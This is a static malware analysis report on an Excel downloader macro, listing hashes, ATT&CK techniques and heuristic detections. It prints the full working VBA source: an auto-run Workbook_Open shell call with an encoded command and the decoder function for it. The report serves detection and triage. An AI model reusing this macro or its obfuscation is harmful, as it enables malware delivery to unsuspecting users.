Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ffba42d34595885f…

MALICIOUS

Office (OOXML)

152.4 KB Created: 2020-07-08 13:16:23 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2020-09-07
MD5: ffaffe494f31800a47057a82843480c5 SHA-1: 8a0695bc3f0776a769693ff22db7cd1e3ed0c177 SHA-256: ffba42d34595885f6f5432f438ddb49d24539c1ba0e622f0f4ebd4d730c03a4e
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate/Decode Files or Information

The file contains a Workbook_Open VBA macro that utilizes WScript.Shell to execute obfuscated code. This code, after deobfuscation, appears to be designed to download and execute a second-stage payload. The ClamAV detection and heuristic firings strongly indicate a downloader functionality.

Heuristics 7

  • ClamAV: Xls.Downloader.Obfuse-9382072-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Obfuse-9382072-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Public Sub Workbook_Open()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F4444887D848578768789437E8379778E897A884378848244787E7C44828E84877E437F857C3C41397A838B4F697A8285403C717888817A437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397A838B4F697 …
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Sub Workbook_Open()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F4444887D848578768789437E8379778E897A884378848244787E7C44828E84877E437F857C3C41397A838B4F697A8285403C717888817A437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397A838B4F697 …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Public Sub Workbook_Open()
    Set objShell = CreateObject("Wscript.Shell")
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1547 bytes
SHA-256: e8c4de22c4fb7a50faf728770d35883717381b27212a33c128cdfd82691525fc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F4444887D848578768789437E8379778E897A884378848244787E7C44828E84877E437F857C3C41397A838B4F697A8285403C717888817A437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397A838B4F697A8285403C717888817A437A8D7A3C3E")
End Sub
  Function ChrEncode(CodeKey As String, str As String)
        Dim n As Integer
        Dim i As Integer
        Dim sStr
        n = 221
        sStr = ""
        For i = 1 To Len(str) Step 2
            sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)) - 21)
        Next
        ChrEncode = sStr
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14336 bytes
SHA-256: 7581e64421c68f67ca46a82a28287e9ab47bc20028f1739c91878607febf8262
Detection
ClamAV: Xls.Downloader.Obfuse-9382072-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).